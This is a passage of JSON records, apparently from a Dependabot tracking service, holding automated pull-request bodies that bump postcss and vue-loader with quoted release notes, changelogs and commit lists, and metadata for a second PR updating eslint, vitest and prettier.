to 8.5.14\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.14\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed custom syntax regression (by \u003ca href=\"https://github.com/43081j\"\u003e\u003ccode\u003e@​43081j\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003epostcss-scss\u003c/code\u003e commend regression.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed reading any file via user-generated CSS.\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eopts.unsafeMap\u003c/code\u003e to disable checks.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed nested brackets parsing performance (by \u003ca href=\"https://github.com/offset\"\u003e\u003ccode\u003e@​offset\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed XSS via unescaped \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e in non-bundler cases (by \u003ca href=\"https://github.com/TharVid\"\u003e\u003ccode\u003e@​TharVid\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSpeed up source map encoding paring in case of the error.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.8\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eProcessor#version\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved source map annotation cleaning performance (by CodeAnt AI).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.6\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eContainerWithChildren\u003c/code\u003e type discriminating (by \u003ca href=\"https://github.com/Goodwine\"\u003e\u003ccode\u003e@​Goodwine\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003epackage.json\u003c/code\u003e→\u003ccode\u003eexports\u003c/code\u003e compatibility with some tools (by \u003ca href=\"https://github.com/JounQin\"\u003e\u003ccode\u003e@​JounQin\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed Parcel compatibility issue (by \u003ca href=\"https://github.com/git-sumitchaudhary\"\u003e\u003ccode\u003e@​git-sumitchaudhary\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded more details to \u003ccode\u003eUnknown word\u003c/code\u003e error (by \u003ca href=\"https://github.com/hiepxanh\"\u003e\u003ccode\u003e@​hiepxanh\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed types (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed docs (by \u003ca href=\"https://github.com/catnipan\"\u003e\u003ccode\u003e@​catnipan\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed end position of rules with semicolon (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed backwards compatibility for complex cases (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5 “Duke Alloces”\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003ePostCSS 8.5 brought API to work better with non-CSS sources like HTML, Vue.js/Svelte sources or CSS-in-JS.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.14\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed custom syntax regression (by \u003ca href=\"https://github.com/43081j\"\u003e\u003ccode\u003e@​43081j\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003epostcss-scss\u003c/code\u003e commend regression.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed reading any file via user-generated CSS.\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eopts.unsafeMap\u003c/code\u003e to disable checks.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed nested brackets parsing performance (by \u003ca href=\"https://github.com/offset\"\u003e\u003ccode\u003e@​offset\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed XSS via unescaped \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e in non-bundler cases (by \u003ca href=\"https://github.com/TharVid\"\u003e\u003ccode\u003e@​TharVid\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSpeed up source map encoding paring in case of the error.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.8\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eProcessor#version\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved source map annotation cleaning performance (by CodeAnt AI).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.6\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eContainerWithChildren\u003c/code\u003e type discriminating (by \u003ca href=\"https://github.com/Goodwine\"\u003e\u003ccode\u003e@​Goodwine\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003epackage.json\u003c/code\u003e→\u003ccode\u003eexports\u003c/code\u003e compatibility with some tools (by \u003ca href=\"https://github.com/JounQin\"\u003e\u003ccode\u003e@​JounQin\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed Parcel compatibility issue (by \u003ca href=\"https://github.com/git-sumitchaudhary\"\u003e\u003ccode\u003e@​git-sumitchaudhary\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded more details to \u003ccode\u003eUnknown word\u003c/code\u003e error (by \u003ca href=\"https://github.com/hiepxanh\"\u003e\u003ccode\u003e@​hiepxanh\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed types (by \u003ca href=\"https://github.com/romainmenke\"\u003e\u003ccode\u003e@​romainmenke\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed docs (by \u003ca href=\"https://github.com/catnipan\"\u003e\u003ccode\u003e@​catnipan\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3ec13948ae0006e1bde2dfb545346341ac8b2dcf\"\u003e\u003ccode\u003e3ec1394\u003c/code\u003e\u003c/a\u003e Release 8.5.14 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/f2bb827b20b591080977412555aa3e5baf588620\"\u003e\u003ccode\u003ef2bb827\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d75953d60854ad835fd21dde0b11081522341020\"\u003e\u003ccode\u003ed75953d\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2084\"\u003e#2084\u003c/a\u003e from 43081j/raw-raws-rawing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/68bd2139b5dcaf5a682bc2e8826d8557be2d1480\"\u003e\u003ccode\u003e68bd213\u003c/code\u003e\u003c/a\u003e fix: always call \u003ccode\u003eraw\u003c/code\u003e to retrieve raw values\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/af58cf1b7af02e9b9fcb138a4a2d7ef3450158b1\"\u003e\u003ccode\u003eaf58cf1\u003c/code\u003e\u003c/a\u003e Release 8.5.13 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/f227dbd0e9443e5f33e18e633b8b4d2b55aac5ee\"\u003e\u003ccode\u003ef227dbd\u003c/code\u003e\u003c/a\u003e Temporary ignore pnpm 11 config\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d3abd40d723cf3559e5ddb5fc738b7cb64e92bb0\"\u003e\u003ccode\u003ed3abd40\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/dd06c3e11362087bc18f9c20cee30fd82bda3de9\"\u003e\u003ccode\u003edd06c3e\u003c/code\u003e\u003c/a\u003e Revert stringifier changes because of the conflict with postcss-scss\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/ae889c815fb88d785401a88f1a7dfc8cb11915fb\"\u003e\u003ccode\u003eae889c8\u003c/code\u003e\u003c/a\u003e Try to fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/e0093e49bcf00347383a13e40bb1f67bc823ca15\"\u003e\u003ccode\u003ee0093e4\u003c/code\u003e\u003c/a\u003e Move to pnpm 11\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/7.0.39...8.5.14\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vue-loader` from 15.11.1 to 17.4.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vuejs/vue-loader/releases\"\u003evue-loader's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev17.3.1\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003edo not skip style post loader for v-bind() in non-scoped CSS (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/d7071bbdeb45518c053bdae8eb7de52fc598adc6\"\u003ed7071bb\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2061\"\u003e#2061\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev17.3.0\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ere-use ident of vue rule for template compiler, fixes \u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2029\"\u003e#2029\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2030\"\u003e#2030\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/b50fa5665f2cbc1c0b8e18f65dd3adf1dfe848dc\"\u003eb50fa56\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eskip normal css files without scoped flag in stylePostLoader (\u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2053\"\u003e#2053\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/98782e794fadca83b600b047b55aa6f0c230cc25\"\u003e98782e7\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev17.2.2\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: windows path for \u003ccode\u003eexperiments.css\u003c/code\u003e by \u003ca href=\"https://github.com/h-a-n-a\"\u003e\u003ccode\u003e@​h-a-n-a\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vuejs/vue-loader/pull/2049\"\u003evuejs/vue-loader#2049\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev17.2.1\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eA new \u003ccode\u003eexperimentalInlineMatchResource\u003c/code\u003e option (webpack 5 only), which leverages webpack 5's \u003ca href=\"https://webpack.js.org/api/loaders/#inline-matchresource\"\u003einline matchResource\u003c/a\u003e feature in the underlying implementation, and works well with the \u003ca href=\"https://webpack.js.org/configuration/experiments/#experimentscss\"\u003e\u003ccode\u003eexperiments.css\u003c/code\u003e\u003c/a\u003e feature This also makes \u003ccode\u003evue-loader\u003c/code\u003e compatible with \u003ca href=\"https://www.rspack.dev/guide/vue\"\u003eRspack\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2046\"\u003e#2046\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/3149f6d69c2f456bdcfa23acc0da93473a93a764\"\u003e3149f6d\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eNote: v17.2.0 was released by accident; it has the same content as v17.1.2, therefore not included in the Releases page.\u003c/p\u003e\n\u003ch2\u003ev17.1.2\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ekeep build stable when run in a different path (\u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2040\"\u003e#2040\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/a81dc0f573d216eefa13b0275f3fc147bf3e2ef3\"\u003ea81dc0f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eproperly close the watcher after webpack 4 tests (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/40b93b9c2722e85a000de62e3eb8bc02facafd10\"\u003e40b93b9\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev17.1.1\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport experimental \u003ccode\u003epropsDestructure\u003c/code\u003e and \u003ccode\u003edefineModel\u003c/code\u003e options (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/6269698f9fda37f0e3849db3e8b8e67ad1862f57\"\u003e6269698\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev17.1.0\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: reference project compiler, fixes \u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2031\"\u003e#2031\u003c/a\u003e by \u003ca href=\"https://github.com/heywhy\"\u003e\u003ccode\u003e@​heywhy\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vuejs/vue-loader/pull/2038\"\u003evuejs/vue-loader#2038\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: do not throw when \u003ccode\u003eRule.layer\u003c/code\u003e is used by \u003ca href=\"https://github.com/nolimitdev\"\u003e\u003ccode\u003e@​nolimitdev\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vuejs/vue-loader/pull/2000\"\u003evuejs/vue-loader#2000\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport 3.3 imported types hmr (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/bbd98fc8bdc17fcbffb456a5ffe772bc184f22e4\"\u003ebbd98fc\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/vuejs/vue-loader/compare/v17.0.1...v17.1.0\"\u003ehttps://github.com/vuejs/vue-loader/compare/v17.0.1...v17.1.0\u003c/a\u003e\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vuejs/vue-loader/blob/main/CHANGELOG.md\"\u003evue-loader's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/compare/v17.4.1...v17.4.2\"\u003e17.4.2\u003c/a\u003e (2023-12-30)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003epass compilerOptions to sfc parse \u0026amp; re-enable AST reuse (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/d2a2e051c3d985d1ae6bb468749b24543631b482\"\u003ed2a2e05\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/compare/v17.4.0...v17.4.1\"\u003e17.4.1\u003c/a\u003e (2023-12-30)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e(temporarily) disable template ast reuse (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/31b03af121edbe70337f538b1def95acbef4d0f1\"\u003e31b03af\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/compare/v17.3.1...v17.4.0\"\u003e17.4.0\u003c/a\u003e (2023-12-25)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eleverage ast reuse in 3.4 (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/479835fe751691a39c62cda12bffeef9e6830443\"\u003e479835f\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/compare/v17.3.0...v17.3.1\"\u003e17.3.1\u003c/a\u003e (2023-10-31)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003edo not skip style post loader for v-bind() in CSS (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/d7071bbdeb45518c053bdae8eb7de52fc598adc6\"\u003ed7071bb\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2061\"\u003e#2061\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/compare/v17.2.2...v17.3.0\"\u003e17.3.0\u003c/a\u003e (2023-10-07)\u003c/h1\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ere-use ident of vue rule for template compiler, fixes \u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2029\"\u003e#2029\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2030\"\u003e#2030\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/b50fa5665f2cbc1c0b8e18f65dd3adf1dfe848dc\"\u003eb50fa56\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eskip normal css files without scoped flag in stylePostLoader (\u003ca href=\"https://redirect.github.com/vuejs/vue-loader/issues/2053\"\u003e#2053\u003c/a\u003e) (\u003ca href=\"https://github.com/vuejs/vue-loader/commit/98782e794fadca83b600b047b55aa6f0c230cc25\"\u003e98782e7\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/compare/v17.2.1...v17.2.2\"\u003e17.2.2\u003c/a\u003e (2023-06-02)\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/1c0324f46ba86c6cdaa630642b1034b4786f7389\"\u003e\u003ccode\u003e1c0324f\u003c/code\u003e\u003c/a\u003e v17.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/d2a2e051c3d985d1ae6bb468749b24543631b482\"\u003e\u003ccode\u003ed2a2e05\u003c/code\u003e\u003c/a\u003e fix: pass compilerOptions to sfc parse \u0026amp; re-enable AST reuse\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/071f30d9a043b4e71bec63bc092505f5187a027f\"\u003e\u003ccode\u003e071f30d\u003c/code\u003e\u003c/a\u003e chore: bump to vue 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/94e778e660fb8461ba0b9c08f27ac7212d1fc97e\"\u003e\u003ccode\u003e94e778e\u003c/code\u003e\u003c/a\u003e chore: 17.4.1 changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/284a333a4ff2e4f48aa540a14cc7e394c2f9f3af\"\u003e\u003ccode\u003e284a333\u003c/code\u003e\u003c/a\u003e 17.4.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/31b03af121edbe70337f538b1def95acbef4d0f1\"\u003e\u003ccode\u003e31b03af\u003c/code\u003e\u003c/a\u003e fix: (temporarily) disable template ast reuse\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/50699e687e4750acc53a8412f7cba2c47a5464fd\"\u003e\u003ccode\u003e50699e6\u003c/code\u003e\u003c/a\u003e chore: set \u003ccode\u003ecompilerOptions\u003c/code\u003e in example\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/59a05709a05dc25e421be3120527b1023c3d7182\"\u003e\u003ccode\u003e59a0570\u003c/code\u003e\u003c/a\u003e chore: changelog for 17.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/1bce3f8fa80d86b77dc21d60693bf78aa5cab06b\"\u003e\u003ccode\u003e1bce3f8\u003c/code\u003e\u003c/a\u003e v17.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vuejs/vue-loader/commit/f71cb1d263649dbb72d22b31a94a1f08571fa35e\"\u003e\u003ccode\u003ef71cb1d\u003c/code\u003e\u003c/a\u003e chore: update caniuse db\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vuejs/vue-loader/compare/v15.11.1...v17.4.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Mochirii-Wushu/Mochirii/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/Mochirii-Wushu/Mochirii/pull/474","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Mochirii-Wushu%2FMochirii/issues/474","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/474/packages"},{"uuid":"4916188419","node_id":"PR_kwDON5h28M7zOU5t","number":126,"state":"open","title":"npm (master)(deps-dev): bump the development-dependencies group with 8 updates","user":"dependabot[bot]","labels":["dependencies"],"assignees":["mimmi20"],"locked":false,"comments_count":3,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-18T02:03:22.000Z","updated_at":"2026-07-18T02:03:50.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"npm (master)(deps-dev): bump","group_name":"development-dependencies","update_count":8,"packages":[{"name":"@eslint/js","old_version":"9.39.4","new_version":"9.39.5","repository_url":"https://github.com/eslint/eslint"},{"name":"@vitest/coverage-istanbul","old_version":"4.1.8","new_version":"4.1.10","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"eslint","old_version":"9.39.4","new_version":"9.39.5","repository_url":"https://github.com/eslint/eslint"},{"name":"eslint-plugin-import-x","old_version":"4.16.2","new_version":"4.17.1","repository_url":"https://github.com/un-ts/eslint-plugin-import-x"},{"name":"eslint-plugin-security","old_version":"4.0.0","new_version":"4.0.1","repository_url":"https://github.com/eslint-community/eslint-plugin-security"},{"name":"postcss","old_version":"8.5.15","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"prettier","old_version":"3.8.4","new_version":"3.9.5","repository_url":"https://github.com/prettier/prettier"},{"name":"vitest","old_version":"4.1.8","new_version":"4.1.10","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the development-dependencies group with 8 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@eslint/js](https://github.com/eslint/eslint/tree/HEAD/packages/js) | `9.39.4` | `9.39.5` |\n| [@vitest/coverage-istanbul](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul) | `4.1.8` | `4.1.10` |\n| [eslint](https://github.com/eslint/eslint) | `9.39.4` | `9.39.5` |\n| [eslint-plugin-import-x](https://github.com/un-ts/eslint-plugin-import-x) | `4.16.2` | `4.17.1` |\n| [eslint-plugin-security](https://github.com/eslint-community/eslint-plugin-security) | `4.0.0` | `4.0.1` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.15` | `8.5.19` |\n| [prettier](https://github.com/prettier/prettier) | `3.8.4` | `3.9.5` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `4.1.8` | `4.1.10` |\n\nUpdates 